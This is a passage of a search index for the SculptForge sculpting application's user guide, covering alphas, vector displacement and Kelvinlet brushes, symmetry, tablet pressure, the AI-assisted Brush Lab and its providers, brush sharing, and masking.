grayscale stamp that shapes the brush tip: white is full effect, black is none. It affects every brush, built-in or custom. Choose one from the Alpha tile on the left shelf (the alpha picker) or the Sculpt > Alpha, which also shows a large preview of the current alpha. Falloff fades it: set it to -100 to stamp the whole alpha (a crisp square, or a pattern out to its edges), 0 for a soft round fade, +100 for a soft point. Alphas work on micro levels too, with every stroke type including Drag Stamp. The alpha picker Alpha What it does Round The plain round falloff (no alpha). The default. Square A square stamp with soft edges. Noise A noisy stamp for rough, organic texture. Pores Scattered skin pores of mixed sizes (use with Sub to press them in). Cracks A web of thin cracks, as in dry earth, old paint or stone. Scales Overlapping rounded scales in offset rows, for reptiles and fish. Rivets A three by three grid of round rivet heads, for armour and machines. Stitches A seam with cross stitches along it (drag along the seam with Drag Stamp or a stroke). Fabric Weave Threads woven over and under, for cloth and canvas. Bark Rough vertical ridges and furrows, as on tree bark. Rock Strata Stepped layers of rock, wavy and broken, for cliffs and stone. Wrinkles Fine parallel wrinkle lines, for skin around eyes, knuckles and necks. Skin Folds Soft, broad folds of skin, for bellies, elbows and heavy brows. Hair Strands Long flowing strands, for hair, fur and feathers (drag along the flow). Dot Grid An even grid of soft dots, for studs, textures and patterns. All of them are made by SculptForge itself the first time they're needed (no image files are downloaded or shipped). They show in the alpha picker and in the Library's Alpha tab (brush_set_alpha name=cracks). To use your own image: Click Load image... in the alpha picker or Sculpt > Alpha. Choose a PNG, JPG, BMP, TGA, PSD or GIF. Colour images are converted to grayscale. Turn on Invert loaded image before loading if your image is white where it should have no effect. Images you keep in the Alphas folder of your Library library (Documents/SculptForge/Alphas by default) appear in the picker's Images section, so you can switch between them with one click. The alpha's top edge points up the screen; with Drag Stamp it follows the drag direction instead. From a script: brush_set_alpha name=square, or brush_set_alpha path=bark.png invert=true."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"alpha-options","h":"Alpha options","t":"Under the preview in Sculpt > Alpha: Option What it does Follow stroke direction The alpha turns with the stroke, its top pointing the way you draw: scales, stitches and hair line up along the stroke. Small wobbles are smoothed out, as with Blender's Rake: the direction is taken again each time the cursor has gone 20 pixels. Angle Turns the alpha by a fixed angle (-180 to 180 degrees, counter-clockwise), on its own or on top of the stroke's direction. Angle jitter Turns each dab by a random angle, up to this many degrees either way, to break up repeats. Tile across / Tile down Repeats the alpha 1 to 8 times across and down inside the brush; the preview shows the result. They work with every brush, custom and Community brushes included, and each brush keeps its own (see Each brush keeps its own settings). From a script: brush_alpha_options follow_stroke=true angle=30 angle_jitter=10 tile_x=2 tile_y=2."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"vector-displacement-brushes","h":"Vector displacement brushes","t":"A vector displacement brush stamps a whole 3D shape in one click: a horn, an ear, a cluster of scales, a nostril. An alpha can only push the surface up or down; a vector displacement map (VDM) moves every point of the stamp in any direction, so the shape can lean over, curl and overhang, as nothing made with a height ever can. Horns, an ear curl, scales and two nostrils, one stamp each, and Sculpt > Brush > Vector Displacement"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"stamp-a-vdm","h":"Stamp a VDM","t":"Open Sculpt > Brush and its Vector Displacement section, and click a map: Horn, Ear Curl, Scales, Nostril, Rivet (a domed head whose rim overhangs), Stitches (thread bars across a seam, drawing it together), Skin Fold (a roll of skin hanging over a crease), Wrinkle Line (a fine pinched crease), Crack (a jagged split whose sides part) or Rock Ledge (a stepped shelf jutting out over the layer below). They're also in the Library's Brush tab. The VDM brush becomes the brush and the stroke becomes Drag Stamp. (While the VDM brush is the brush, the Alpha tile on the left shelf shows its map, and the alpha picker lists the maps first. The VDM brush is also in the brush picker: B V D.) Click on the model where the stamp should sit and drag: the drag's length sets the size and its direction points the top of the map, so a horn leans the way you drag. Let go to keep it. Slide Stamp stamps at the Draw Size instead and slides the stamp under the cursor until you let go. Intensity 50 (the default) presses the map at its own shape; 100 doubles it, lower values flatten it. Alt digs the shape in: the sideways motion stays and the height flips (a horn becomes a curved hole, a nostril a bump). Blender's VDM brushes invert the same way. Symmetry mirrors the stamp exactly (the mirrored horn leans the mirrored way), the mask holds it back, and each stamp is one undo step. Sculpt layers record it like any stroke. The Dots stroke works too: each dab adds the shape again, for rows of studs or scales. Tip: a VDM moves points sideways, so it needs points to move: on a coarse mesh the shape breaks up into spikes. Divide first (the model above has 330 000 triangles), and stamp at the highest subdivision level; stepping down and back up keeps the stamp. Use Front faces only on thin parts so the stamp doesn't reach through to the other side."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"make-your-own-vdm","h":"Make your own VDM","t":"In Sculpt > Brush > Vector Displacement, click New VDM Plane. A flat 2 x 2 grid appears as a new Part, seen from the top, with its border masked (so the stamp blends into any surface); the other Parts are hidden. Plane Res sets how many quads it has (256 by default). Sculpt the shape with any brush: overhangs are welcome (Move, Tendril, Inflate). Divide the plane for finer detail. Keep the border flat. Type a name, choose the Map Size (256 pixels holds most shapes, 512 fine detail) and click Create VDM. The new map is saved in your brush library, shows in the list and becomes the VDM brush's map. Show your model again in the Part palette (its eye) and stamp away. The top of the screen when you look at the plane from the top is the top of the map: the side a Drag Stamp drag points to. The plane's UVs record where each point started, so what Create VDM captures is how far each point moved, sideways and up."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"load-and-export-maps","h":"Load and export maps","t":"Load VDM... reads an OpenEXR (16- or 32-bit, any compression) or a .sfvdm; dropping an .exr on the window does the same. A loaded EXR is kept in your brush library as a .sfvdm, so it's there next time. Export EXR... writes the brush's map as a 32-bit float EXR. Right-click a map you made or loaded to delete it. Maps use the convention of Blender's VDM Brush Baker and its Draw brush with Vector Displacement: Channel Means R X: toward the stamp's right G Y: toward the stamp's top (the image's top row; the drag direction of Drag Stamp) B Z: out of the surface Units brush radii: (0, 0, 0.5) lifts the surface by half the radius; the map covers the brush's square So maps from Blender's VDM Brush Baker load as they are, and exported maps work in Blender: add an image texture with the EXR (Color Space: Non-Color) to a Draw brush, set the texture's Mapping to Area Plane, turn on Vector Displacement in the brush's Texture panel, and use the Anchored stroke at Strength 1 (see Working with Blender). Blender's brush touches only the round area of the brush, so the corners of a map are cut off there; in SculptForge the whole square stamps. Maps made in other applications may use other axes. If a map stamps lying on its side, load it again with Swap Y/Z; if it is mirrored or leans the wrong way, with Flip X or Flip Y (Flip Z for a map that digs in where it should rise). Scale multiplies a map made in other units. From a script: vdm_set name=horn or vdm_set path=ear.exr swap_yz=true, vdm_stamp point=0,0.5,0 radius=0.3 angle=30, vdm_new_plane, vdm_capture name=\"My horn\" exr=horn.exr, vdm_export path=horn.exr, vdm_list, vdm_delete name=\"My horn\"."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"kelvinlet-brushes","h":"Kelvinlet brushes","t":"KelvinGrab, KelvinTwist, KelvinScale and Elastic Tendril move the surface the way an elastic solid moves when you push, twist or squeeze it. Each is the exact solution of the equations of elasticity for a softened point load (the \"regularized Kelvinlets\" of de Goes and James, SIGGRAPH 2017), so the surface follows your hand like clay: there is no falloff edge to see, the deformation fades smoothly over about twice the brush radius, and the material around it reacts the way real material does. KelvinGrab pulls with symmetry and Squash at 100, and a KelvinTwist in the middle: no falloff edge anywhere KelvinGrab works like Move: press on the model and drag; the point under the cursor goes where the cursor goes and the surface around it follows elastically. KelvinTwist turns the surface around where you pressed, about the view direction. Drag right to turn clockwise, left to turn back; the turn is strongest at the centre and fades out, and every ring keeps its shape (a true rotation), so twisted shapes keep their volume. Good for twisting horns, tentacles, folds of cloth and spiral shells. KelvinScale pinches (drag left) or swells (drag right) the surface toward or away from where you pressed. It never folds the surface through the centre, however hard you pinch. Elastic Tendril pulls horns, tentacles and spikes out along the stroke like Tendril, but its pull narrows as it travels, so shapes taper to a tip by themselves. Their settings are in Sculpt > Brush > Kelvinlet & Capture: Squash (0-100) is how the material keeps its volume (its Poisson's ratio). At 0 it's rubbery: pulling it just stretches it. At 100 it's incompressible clay: pressing in makes the surface bulge up around your thumb and pulling out draws the sides in, as clay does. 50 is the default. Sharpness gives the brush a tighter, more pointed peak at its centre while keeping its soft reach, for pulling out points and tips. Intensity sets how strongly the surface follows (50 and above: the grabbed point follows the cursor exactly), pen pressure scales it, and like every brush they respect symmetry, the mask, hidden parts and sculpt layers, and each stroke is one undo step. They don't remesh with dynamic topology on (like Move). How it stays fast: a Kelvinlet's influence never quite reaches zero, so each move works out how far its effect is still more than 4% of its largest (about twice the brush radius) and only touches the points inside that distance, fading the last part smoothly to nothing. A fast drag between two frames is worked out in small pieces in one pass. Because it reaches further than Move, it costs more: on models of 20 million triangles and up, keep the brush small or step down a subdivision level for big elastic moves (see Performance)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"capture-an-alpha-or-a-vdm-from-the-model","h":"Capture an alpha or a VDM from the model","t":"Any detail you have sculpted can become a brush in two seconds: Capture from view (Ctrl+Alt+C, or the button in Sculpt > Brush > Kelvinlet & Capture). A horn captured from the sphere (the window: its height alpha and VDM) and cloned along a stroke below it Press Ctrl+Alt+C and drag a square over the detail, corner to corner (hold Shift as you press to drag a circle from its centre instead). Esc cancels. The Capture from view window shows two results, side by side: a height alpha: the surface's height toward you, measured from a plane fitted to the surface and scaled to black-to-white; a vector displacement map: the true 3D offset of every point from a smooth base surface, in that base's own frame, so overhangs and sideways leans come along. Adjust if needed: Base Smoothing decides what counts as detail (0 measures from a flat plane, the whole shape; higher takes more of the broad form away, so a wrinkle captured on a curved forehead stamps flat), Edge Fade blends the border out, Resolution sets the pixels, Fit plane and Invert apply to the alpha. Changes capture again from the same square. Use it: Use as Alpha (it shapes every brush), Use as VDM (the VDM brush stamps it with Drag Stamp), Detail Clone (paint copies along strokes) or Save to Library: the alpha goes to your Library Alphas folder as a PNG and the VDM to your brush library, both with thumbnails (the VDM also shows in the Library Brush tab, the alpha picker and Sculpt > Brush > Vector Displacement). The square is captured along your view, so look at the detail straight on. The capture takes about a tenth of a second for a small detail and a second or so for a large patch of a 20-million-triangle model."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"detail-clone","h":"Detail Clone","t":"DetailClone stamps the VDM brush's map (a captured one or any other) along your stroke, one copy every stamp width, each turned so its top points the way the stroke goes: rows of scales, rivets, stitches or warts that follow a curve. Clone Spacing sets the distance between copies (1 = edge to edge) and Clone follows stroke can keep every copy upright instead. Draw Size sets their size and Intensity their depth; a click without moving stamps one. Each copy is shaped to the surface under it."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"symmetry","h":"Symmetry","t":"Symmetry mirrors every stroke, including mask and paint strokes. X mirrors left and right. It is on by default; press X to toggle it. Y mirrors top and bottom, and Z mirrors front and back. They have no default key (you can assign one; see The interface). The X, Y and Z buttons are on the top shelf and in Sculpt > Symmetry & Gizmo. You can combine them: X and Z together give four-way symmetry. Symmetry mirrors across the scene's axes through the origin. Models that are centred on the origin, such as SculptForge's primitives and most character exports, mirror correctly. If a stroke lands in the wrong place on the other side, the model is off-centre: turn on Local (below)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"radial-symmetry","h":"Radial symmetry","t":"Radial symmetry repeats every stroke around an axis, for wheels, flowers, columns, crowns and other round ornaments. Turn it on with R on the top shelf or in Sculpt > Symmetry & Gizmo > Symmetry, then set: Radial Count: how many copies, evenly spaced around the axis (2 to 64; 8 to start with). X axis, Y axis or Z axis: the axis the copies turn around (Y, up, by default). Radial symmetry works with the mirror axes: with X on as well, each copy is also mirrored, so 8 radial copies make 16. It applies wherever symmetry does: every brush and stroke type, mask and smooth strokes, vertex paint and texture painting, Mask Rectangle / Mask Lasso and Select Rectangle / Select Lasso, Dynamic Topology (new triangles appear on every copy) and Insert on the model. The brush cursor shows on every copy, so you can see where each one lands."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"local-symmetry","h":"Local symmetry","t":"Local (next to R in Sculpt > Symmetry & Gizmo > Symmetry) puts the mirror planes and the radial axis through the middle of the active Part (the centre of its bounding box) instead of the world origin. Use it for a Part that isn't centred on the origin, such as a button on a jacket or a wheel on a car. The centre follows the Part: it is worked out again when you switch Parts or after an edit. R and Local have no default key; you can assign one (see The interface). Projects save the symmetry settings, radial and local included. Scripts and sculptforge-cli use the same settings: commands that take symmetry (stroke, vdm_stamp, mask_rect, mask_lasso, hide_rect, hide_lasso, insert_primitive, insert_mesh) also take radial (the count), radial_axis (x, y or z) and local (true for the Part's centre), for example stroke points=... symmetry=x radial=8 radial_axis=y."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"pen-pressure-and-tablets","h":"Pen pressure and tablets","t":"SculptForge reads pen pressure from graphics tablets and pen displays through the operating system. When it receives pen input, Sculpt > Draw & Tablet shows Pen pressure with the current value; before that it says No pen detected. Two toggles decide what pressure does. They are on the top shelf and in Sculpt > Draw & Tablet > Tablet: Toggle Default Effect Pressure > Strength On Pen pressure scales the brush strength. Pressure > Size Off Pen pressure scales the brush size (down to 5% at the lightest touch). Pressure applies only to strokes made with the pen; mouse strokes always use full pressure. Custom brushes also have a Pressure curve setting that makes them respond to a light or a firm touch (see Brush Lab). If the pen moves the cursor but pressure does nothing, see Troubleshooting. Edit > Preferences > Tablet checks and tunes the pen: a pressure meter and a draw-test area, to see what the tablet reports at a light touch and a full press; a pressure curve for all brushes (Soft, Linear or Firm, or set Curve, Minimum, Maximum, Threshold and Full pressure at yourself), applied before each brush's own curve; the eraser end (default Invert, like holding Alt) and the side buttons (default: lower button right-click to rotate the view, upper button Invert, third button Pan view). A side button can open a radial menu instead (Edit > Preferences > Input > Radial Menus). Mouse mode (relative): the pen moves the cursor by how far it moves, like a mouse, and putting it down elsewhere on the tablet leaves the cursor where it was, with the driver in pen mode or in its own mouse mode. While the pen is in range the arrow is drawn at the brush (the system's is hidden), so brush, arrow and clicks always agree (#72). Store Config (Ctrl+Shift+I) keeps these settings. Setup notes for Windows Ink, macOS and Linux are in docs/tablet.md."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"customize-the-bottom-shelf","h":"Customize the bottom shelf","t":"The bottom shelf holds your most-used brushes. By default it shows Standard, Clay, Clay Block, Sharp Crease, Move, Smooth, Inflate, Pinch, Flatten, Crease, Trim, Tendril, Layer, Nudge and Paint. The bottom shelf Add a brush: click the + tile at the end of the shelf and pick a brush, built-in or custom. Or right-click any tile in the brush picker and choose Add to bottom shelf. Remove a brush: right-click its tile and choose Remove from shelf. Reorder: turn on Edit > Preferences > Config > Enable Customize, then Ctrl+Alt+drag a tile to a new place. Change a brush's key: Ctrl+Alt+click its tile, then press the new key. Shelf changes last until you quit. Press Ctrl+Shift+I (Store Config) to keep them. See The interface for more on customizing."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"sculpt-from-a-script","h":"Sculpt from a script","t":"The stroke command applies a brush along a path on the active Part, as one undo step. It is useful for scripted detailing and for AI agents: sculptforge-cli -c 'new_sphere subdivisions=6; stroke brush=Crease points=\"-0.6,0.2,0 0,0.4,0 0.6,0.2,0\" symmetry=x; export_glb path=out.glb' Points are projected onto the surface along view (default 0,0,-1, the front view). radius (world units), strength, pressure, invert, spacing, curve and seed work as in the viewport. See Scripting and automation."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"see-also","h":"See also","t":"Brush Lab and sharing brushes: design brushes with AI, the brush library and brush codes Masking: protect areas from every brush Vertex Paint and materials: Paint brush, Rgb and colour Sculpt layers and blend shapes: sculpt into a layer you can dial in and out Dynamic topology: brushes that add triangles where they need them (dynamic topology) Keyboard and mouse reference"},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"","h":"Brush Lab and sharing brushes","t":"Brush Lab designs sculpting brushes from a description: type \"dry cracked mud\" and an AI model builds the brush, then you refine it in words or with sliders. This chapter covers Brush Lab, the AI providers it can use, the recipe settings, your brush library, and the ways to share brushes: .sfbrush files, one-line brush codes, studio folders and the community gallery. Brush Lab with a brush designed from a description"},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"what-a-custom-brush-is","h":"What a custom brush is","t":"A custom brush is a recipe: about twenty named values that describe how the brush moves the surface, the shape of its tip, a surface pattern, stroke spacing and masking. A recipe is data, never code, so brushes are safe to download and share. The AI only fills in these values; you can see and change every one of them. Custom brushes work everywhere built-in brushes do: on the bottom shelf, in the brush picker (B), with Alt, Shift, masks, symmetry, strokes and alphas."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"open-brush-lab","h":"Open Brush Lab","t":"Click AI Brush on the top shelf, or AI Brush at the top of Sculpt > Brush. Brush Lab is a floating window; it opens at the top-left corner of the canvas the first time, and you can drag it anywhere. Click the button again, or the window's close box, to hide it. Not there? AI features are off: turn them on in Edit > Preferences > AI (see Turning AI off)."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"design-a-brush","h":"Design a brush","t":"Open Brush Lab. Type a description in the field at the bottom, the way you'd describe the brush to another sculptor, for example bark of an old oak tree or soft folds in heavy cloth. Or click one of the starter ideas, such as Overlapping dragon scales or Dry cracked mud. Press Enter or click Create. While the model works, the conversation shows \"Designing brush\". When the brush is ready, it becomes the active brush and the status bar says so. Try it on the model. The model replies with the brush name in brackets and a sentence on what the brush does and what to try next. Errors (no connection, rate limits, a model that didn't return a recipe) appear in red in the same conversation."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"refine-a-brush-in-words","h":"Refine a brush in words","t":"With Refine the selected brush ticked, your next message changes the active custom brush instead of creating a new one: \"sharper\", \"less buildup\", \"make the scales smaller\". The model sees the current recipe and your conversation so far. Clear chat starts a new conversation."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"tune-a-brush-with-sliders","h":"Tune a brush with sliders","t":"Open the Recipe section of Brush Lab to see every value of the active custom brush. The same editor appears in Sculpt > Brush as Edit recipe: NAME when a custom brush is active. Hover a slider for a description. Setting Range What it does Direction normal, inflate, view, stroke Which way the surface moves: out of the surface, outward in every direction, toward the camera, or along the stroke. Depth -1 to 1 Adds material (positive) or carves it away (negative). Plane none, clay, flatten, fill, scrape Planar behaviour: flat-topped clay layers, levelling, raising only low spots, or cutting only high spots. Plane amount 0 to 1 Strength of the plane behaviour. Pinch -1 to 1 Pulls the surface toward the stroke for crisp creases (negative spreads it apart). Drag 0 to 1 Smears the surface along the stroke, like a palette knife. Auto smooth 0 to 1 Relaxes the surface after each dab for softer, cleaner results. Hardness 0 to 1 Soft airbrush edge (0) to hard-edged stamp (1). Tip sharpness 0 to 1 Round, broad tip (0) to a narrow needle point (1). Pattern none, noise, scales, ridges, pores, cracks A surface texture stamped by the brush. Pattern size 0.03 to 2 Size of the pattern relative to the brush size. Pattern amount 0 to 1 How strongly the pattern shows. Spacing 0.02 to 2 Distance between dabs, relative to the brush size. Jitter 0 to 1 Random scatter of dabs around the stroke. Pressure curve 0.3 to 3 Tablet response: above 1 needs a firmer press, below 1 responds to a light touch. Front faces only on / off Only affects surfaces facing the camera, protecting thin parts. Cavity mask -1 to 1 Positive: only cavities. Negative: only ridges and peaks (as Edge Wear does). The name field at the top of the editor renames the brush when you press Enter. Tip: to adapt a built-in recipe such as Dragon Scales, select it and move the sliders. Your version is saved to your library and replaces the built-in one; delete it to get the original back."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"choose-an-ai-provider","h":"Choose an AI provider","t":"Brush Lab works out of the box with no account or key. Open the AI provider section of Brush Lab (also in Mesh > Generate 3D > AI brush provider) to choose another service. Provider What you need Notes Free - no account or key (default) Nothing An open model (GPT-OSS 20B) hosted by Pollinations.ai. Only your description and settings are sent. Rate limited to about one request every few seconds. If it can't be reached, a running local Ollama is used instead. Anthropic (Claude) - your key An Anthropic API key Uses claude-opus-5-5 by default. Effort (low, medium, high) trades speed for more considered brushes. OpenAI-compatible (OpenAI, Ollama, LM Studio...) An endpoint, a model name and, for hosted services, a key Any server that speaks the OpenAI chat completions API, including local models. For Anthropic and OpenAI-compatible providers you can edit the Endpoint, Model and API key fields. Leave the key empty to use the ANTHROPIC_API_KEY or OPENAI_API_KEY environment variable. Click Save settings to keep your choice; settings and keys are stored only on your computer, in ai.json in the SculptForge settings folder (readable only by you). Requests go only to the endpoint you set."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"run-a-model-on-your-own-computer","h":"Run a model on your own computer","t":"For private, offline use with no rate limits, run a local model with Ollama or LM Studio: Install Ollama and download the recommended model: ollama pull qwen3:4b-instruct (2.5 GB, works without a graphics card). In AI provider, choose OpenAI-compatible (OpenAI, Ollama, LM Studio...). Click Ollama (or LM Studio) to fill in the local endpoint. Click Find models. SculptForge checks the connection, shows \"Connected\" with the number of installed models, and lets you pick one from the Model list. Click Save settings. The Run a model on this computer section in the panel shows the install steps for your operating system. The model needs about 4 GB of free memory; expect 10-20 seconds per brush on a laptop CPU and a few seconds with a GPU. The full walkthrough for Windows, macOS, Linux and LM Studio is in docs/local-ai.md."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"your-brush-library","h":"Your brush library","t":"Every brush you create or refine in Brush Lab is saved to your brush library automatically, a moment after your last change (slider edits save when you release the slider). The library loads at every start, in the app, in sculptforge-cli and in the Python module, so your brushes are always there. The library is a folder of .sfbrush files in the SculptForge settings folder: System Brush library Linux ~/.local/share/SculptForge/SculptForge/brushes macOS ~/Library/Application Support/SculptForge/SculptForge/brushes Windows %APPDATA%\\SculptForge\\SculptForge\\brushes The Custom brushes list in Sculpt > Brush, with its right-click menu"},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"the-custom-brushes-list","h":"The Custom brushes list","t":"Sculpt > Brush lists every custom brush under Custom brushes. A small tag after a name says where the brush comes from when it isn't simply yours or built in: Tag Meaning (none) A built-in brush, or a brush in your library yours Your version, which replaces a built-in or studio brush of the same name studio From a shared studio folder (read-only) gallery Installed from the community gallery (kept in your library) project Came with the open project and isn't in your library unsaved Made this session (for example picked from the picker's Library section, or loaded by a script) and not in your library Hover a brush for its description, origin and file. Right-click it for: Copy brush code: one line of text to share (see below). Save .sfbrush...: write the brush to a file. Rename...: rename it. Renaming a built-in or studio brush saves a renamed copy and keeps the original. Delete...: remove it from your library, after a confirmation. Only brushes in your own library can be deleted. If your brush replaced a built-in or studio brush, that one is used again. Reveal in folder: open the folder that holds its file. The same menu is available when you right-click a custom brush in the brush picker. When brushes share a name, your library wins over studio folders, and studio folders win over built-in brushes."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"brush-codes","h":"Brush codes","t":"A brush code is the whole recipe in one line of text, starting with sfbrush1:. Paste it into a chat, an email, an issue or a forum post. Copy: right-click a custom brush (in Sculpt > Brush > Custom brushes or the brush picker) and choose Copy brush code. Paste: copy a code, then press Ctrl+V over the viewport, click Paste brush in Brush Lab, or choose Edit > Paste brush. The brush is installed in your library and becomes active. Pasting also accepts the text of a .sfbrush file. Codes are validated like files: values outside their range are clamped, and anything that isn't a recipe is refused."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"brush-files-sfbrush","h":"Brush files (.sfbrush)","t":"A .sfbrush file is a small JSON file holding one recipe. Save: right-click the brush and choose Save .sfbrush..., or click Save .sfbrush... under the recipe sliders. Install: click Install .sfbrush... under the recipe sliders, or drop the file onto the SculptForge window. The brush goes into your library. Library folder: .sfbrush files in the Brushes folder of your Library library (Documents/SculptForge by default) appear in the Library section of the brush picker and in Library's Brush tab. Picking one loads it for the session. The file format and every key are documented in docs/brushes.md."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"studio-brush-folders","h":"Studio brush folders","t":"A studio can share brushes read-only from network folders. Set the environment variable SCULPTFORGE_BRUSH_PATH to one or more folders (separated by : on Linux and macOS, ; on Windows). Every .sfbrush file in them loads at start-up, tagged studio. Artists can't change or delete studio brushes; if they edit one, their own version is saved in their library under the same name. The Rez package adds the folder in SCULPTFORGE_STUDIO_BRUSHES to this path. See For studios. Projects (.sfproj) also store the brushes they use, so a scene opens with its brushes on any machine."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"the-community-gallery","h":"The community gallery","t":"The community gallery is a public collection of free (CC0) brushes shared by other sculptors. Click Community brushes at the top of Sculpt > Brush. Search by name or description (scales, skin, stone...), or pick a tag from the All tags list. Click Install under a brush. It is downloaded, checked against its SHA-256 checksum, installed in your library and made active. Installed brushes show Installed. The Community brushes window The gallery is cached, so the window still opens offline (with a notice) showing the brushes from your last visit. Refresh fetches the latest list. Share yours opens the gallery's page on GitHub, where you can submit a brush you saved as .sfbrush with a pull request. You can also browse the gallery on the website at sculptforge.app/brushes.html. Studios can mirror the gallery or run their own. Enter a URL or folder in the Gallery field at the bottom of the window and click Use, or set SCULPTFORGE_BRUSH_GALLERY (which then takes precedence and hides the field). See docs/brushes.md for the gallery format."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"brushes-from-scripts","h":"Brushes from scripts","t":"Every brush operation is also a command, for sculptforge-cli, the console, Python and AI agents: Command What it does brush_ai prompt=... Design a brush from a description (optional provider, endpoint, model). brush_create name=... depth=... Create or update a brush from recipe values. brush_list / brush_library List custom brushes (with their source and file, and the library folders). brush_save path=... Save a brush as .sfbrush (name defaults to the active brush). brush_load path=... Load a .sfbrush file for this session only. brush_install path=... / code=... / json=... Install a brush into your library and make it active. brush_code Print a brush as a brush code. brush_rename to=... / brush_delete name=... Rename or delete a brush. brush_gallery_search / brush_gallery_install name=... Search and install from the community gallery. # Design a brush for free and save it for the team sculptforge-cli -c 'brush_ai prompt=\"weathered stone edges\"; brush_save path=stone.sfbrush' # Install a gallery brush and try it on a sphere sculptforge-cli -c 'brush_gallery_install name=\"Snake Scales\"; new_sphere subdivisions=6; stroke points=\"-0.5,0,0 0.5,0.2,0\"' See Scripting and automation for running commands."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"see-also","h":"See also","t":"Sculpting and brushes: built-in brushes, strokes, alphas and pressure For studios: shared brush folders and pipelines Troubleshooting: AI provider errors and rate limits"},{"p":"masking.html","c":"Masking","a":"","h":"Masking","t":"A mask protects part of the model from change. Masked areas are drawn darker, and every brush, the Paint brush and colour fills leave them alone. This chapter covers painting masks with Ctrl, masking with a lasso or rectangle, the background gestures, and the Tool > Masking controls for inverting, blurring, growing and building masks from cavities, face groups or the mesh border. A mask painted on the lion's mane, with the Masking sub-palette"},{"p":"masking.html","c":"Masking","a":"how-masks-work","h":"How masks work","t":"A mask is a value per vertex from 0 (free) to 1 (fully masked). Values in between give partial protection, so a soft mask edge blends sculpting into the protected area. Masks belong to a Part: each Part has its own mask. Masks are saved in projects (.sfproj) and in Bridge files, so they survive a round trip through the Bridge. Masking is not a layer and isn't affected by sculpt layers: a mask stroke always works on the model itself. Mask strokes and mask commands are undoable like any other change. To see the mask, keep Mask on in the right shelf. The same toggle is Show mask in Tool > Masking, and Show Mask in the Render palette. Turning it off hides the darkening without clearing the mask: it still protects the surface, the status bar says so, and turning it on again shows the same mask. Clear Mask (Ctrl+Shift+A) is what removes it."},{"p":"masking.html","c":"Masking","a":"paint-a-mask","h":"Paint a mask","t":"Hold Ctrl and drag on the model. The area under the brush becomes masked. Hold Ctrl+Alt and drag to erase the mask. Mask strokes use the current Draw Size, symmetry and, with a pen, pressure (when Pressure > Strength is on). How much each stroke masks is set by Mask Strength in Tool > Masking (0.01 to 1, default 1): lower values build up a soft, partial mask over several strokes. Mask strokes always use a round tip, whatever alpha you have selected, and a Drag Stamp stroke masks with dabs along the path instead of one stamp. On macOS, Cmd works wherever this guide says Ctrl."},{"p":"masking.html","c":"Masking","a":"mask-with-a-lasso-or-rectangle","h":"Mask with a lasso or rectangle","t":"To mask a large or sharply outlined area in one go, pick a mask selection shape. Holding Ctrl turns the brush on the left shelf into the mask brush: with Ctrl held, click the brush tile (or press B) to pick Mask Pen, Mask Lasso or Mask Rectangle, or click the stroke tile to pick the stroke (Dots, Lasso or Rect). The same shapes sit at the top of Tool > Masking: Shape Ctrl + drag Mask Pen (default) Paints the mask with the brush, as described above. Mask Lasso Draws a free-hand outline that closes back to where you started. Everything inside is masked. Mask Rectangle Draws a rectangle. Everything inside is masked. With Mask Lasso or Mask Rectangle: Hold Ctrl and drag around the area. The drag can start on the model or on the background. The shape is drawn as you drag, white with a dark veil. Let go to mask what's inside. Hold Ctrl+Alt instead to unmask what's inside (the shape is drawn blue). You can press or release Alt while dragging; what counts is whether it is held when you let go. The selection works in screen space, like the visibility rectangle: a vertex counts as inside when it falls inside the shape as you see it, including vertices on the far side of the model. Hidden parts are left alone. With symmetry on (X, Y, Z on the top shelf), the mirror image of what's inside is masked too, as a mask stroke mirrors. A shape that covers none of the model clears the mask instead. Mask Strength sets how much a selection masks or unmasks, and each selection is one undo step. A lasso that crosses itself leaves out the areas it encloses twice. Turn on Front faces only (under the shape buttons, shown for Mask Lasso and Mask Rectangle) to mask only what faces you: the far side of the model and folds turned away from you are left as they are. It follows the mirror image too when symmetry is on. The cursor turns into a small cross while Ctrl is held, since the brush size doesn't matter for a selection."},{"p":"masking.html","c":"Masking","a":"background-gestures","h":"Background gestures","t":"With Ctrl held, clicks and drags on the empty background act on the whole mask: Gesture Effect Ctrl + click the background Invert the mask Ctrl + drag on the background Draw a mask rectangle (Mask Pen; Mask Lasso draws a lasso): what it covers is masked, mirrored by the symmetry. A shape that covers none of the model clears the mask. Ctrl + drag on the background, with nothing masked Zoom the view in the SculptForge style (the default); with the Classic sculpting keys it draws the mask rectangle above (see Keyboard and mouse) On the model, a Ctrl + click that doesn't drag works on the mask's edges, whichever mask shape is picked: Gesture Effect Ctrl + click the model Blur the mask (once per click; same as Blur) Ctrl+Alt + click the model Sharpen the mask (same as Sharpen)"},{"p":"masking.html","c":"Masking","a":"mask-keys","h":"Mask keys","t":"Key Effect Ctrl+A Mask All Ctrl+Shift+A Clear Mask Ctrl+I Invert Mask Ctrl+H Show or hide the mask's shading (View Mask) Ctrl+W Group Masked: the masked part becomes a new 